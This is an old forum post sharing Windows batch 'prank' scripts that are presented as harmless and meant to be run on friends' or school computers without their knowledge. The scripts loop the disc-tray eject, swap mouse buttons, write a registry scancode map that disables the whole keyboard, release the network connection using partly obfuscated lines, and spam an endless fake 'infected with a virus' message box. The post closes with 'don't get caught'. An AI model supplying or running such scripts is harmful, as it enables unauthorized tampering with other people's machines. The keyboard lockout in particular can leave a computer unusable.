Aug 30, 2011 05:36 PM
(This post was last modified: Aug 30, 2011 07:33 PM by 53CUR1TY.)
Hey guys, I figured that we needed a change of things. I decided to make a few new batches from DELmE's batch genorator that can be used to screw around and have fun with your friends without causing perminent damage to their computers! So I present to you the batches!
This first one is used to open/close the disk tray nonstop every 10-15 seconds. I like to use this one at school when I am bored 😁
Open/Close Disk Tray
This next one is a blast to use. What this batch does is it swaps the mouse buttons, lol, it is super fun to see people get really confused when their left click isn't really left click 🎉
Swap Mouse Buttons
Next we have a batch that disables the keyboard, it pretty simple, but fun to see your friends rage because their keyboard isn't working 😝
Disable Keyboard
This one is a bit more on the evil side if anything else. What this batch does is disables your internet, which we all know can get annoying when your internet isn't working 😠
Disables Internet
Lastly, if you want to be a real douche to your friend, just spam him with message boxes 😏
Spam With Message Box
Well, there you guys go. Have fun with your friends and don't get caught 🤗
Also, if anyone gets a chance to test these, please leave a comment if you find anything wrong with them. Be sure to leave a thank you! 😉
This first one is used to open/close the disk tray nonstop every 10-15 seconds. I like to use this one at school when I am bored 😁
Open/Close Disk Tray
Quote: @ echo off
rem --
rem Start Opening Disk Tray
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
rem --
This next one is a blast to use. What this batch does is it swaps the mouse buttons, lol, it is super fun to see people get really confused when their left click isn't really left click 🎉
Swap Mouse Buttons
Quote:@ echo off
rem --
rem Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton
rem --
Next we have a batch that disables the keyboard, it pretty simple, but fun to see your friends rage because their keyboard isn't working 😝
Disable Keyboard
Quote:@ echo off
rem --
rem Disable Keyboard
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start "nokeyboard.reg"
rem --
This one is a bit more on the evil side if anything else. What this batch does is disables your internet, which we all know can get annoying when your internet isn't working 😠
Disables Internet
Quote:@ echo off
rem --
rem Disable Internet
@Echo off & @@Break Off
Ipconfig /release
%jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!
P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%
rem --
Lastly, if you want to be a real douche to your friend, just spam him with message boxes 😏
Spam With Message Box
Quote:@ echo off
rem --
rem Spam With VBScript Msgboxes
echo Do>>msgbox.vbs
echo x=msgbox("Your computer is infected with a virus!",0+48,"Infected") >>msgbox.vbs
echo Loop>>msgbox.vbs
start "" "msgbox.vbs"
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rem --
Well, there you guys go. Have fun with your friends and don't get caught 🤗
Also, if anyone gets a chance to test these, please leave a comment if you find anything wrong with them. Be sure to leave a thank you! 😉




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